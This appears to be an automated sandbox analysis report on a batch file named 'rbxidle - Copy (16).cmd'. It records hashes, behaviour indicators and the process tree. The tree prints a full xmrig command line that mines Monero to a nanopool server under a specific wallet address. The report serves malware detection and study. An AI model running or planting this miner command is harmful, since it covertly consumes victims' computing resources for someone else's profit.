258a76e26e34ada4e48c38fb2965115c47016dcb1116640903f8ab2dc94c98af

Analysis

max time kernel
91s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
11-08-2024 13:22

Target

miner8.0/rbxidle - Copy (16).cmd
Size

1KB
MD5

b5f4a1dc0788a0ac8a07d756f670aa3a
SHA1

f3927b48692de9a700884f76c3a01567d5795ddc
SHA256

cc30f748dd6595b4f9aba8b74a613ac96dfbbd614cd0fd93fe3577135e8b5096
SHA512

021e1c2f2062dd5cc49bd68414e574983f31a3d859764fde35b988fa9d4842133c6f9ff4aeb40469f4f577562f2da10a75c6e39c913673e316caa2f956e450c4

Score

1^/10

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2120	xmrig.exe
Token: SeLockMemoryPrivilege	2120	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2120	xmrig.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 2120	4744	cmd.exe	85
PID 4744 wrote to memory of 2120	4744	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\miner8.0\rbxidle - Copy (16).cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4744
- C:\Users\Admin\AppData\Local\Temp\miner8.0\xmrig.exe
  xmrig.exe -a rx/0 -k -o stratum+tcp://xmr-us-east1.nanopool.org:10300 -u 47KJeHrhm2xQzgxg3kYx4m8SsxDAgSXSPJAroo1aCWQN2XLdDUtFaYrgKqCbkxCQ2C9KWgGqCy94UByPc3EMVkNC88Ef6By.USER-DcOoDP3s18LSRK! -p x
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2120

memory/2120-0-0x00000183C7290000-0x00000183C72B0000-memory.dmp

Filesize
128KB

Download
memory/2120-1-0x0000018459410000-0x0000018459430000-memory.dmp

Filesize
128KB

Download
memory/2120-2-0x0000018459850000-0x0000018459870000-memory.dmp

Filesize
128KB

Download
memory/2120-3-0x0000018459A80000-0x0000018459AA0000-memory.dmp

Filesize
128KB

Download
memory/2120-5-0x0000018459A80000-0x0000018459AA0000-memory.dmp

Filesize
128KB

Download
memory/2120-4-0x0000018459850000-0x0000018459870000-memory.dmp

Filesize
128KB

Download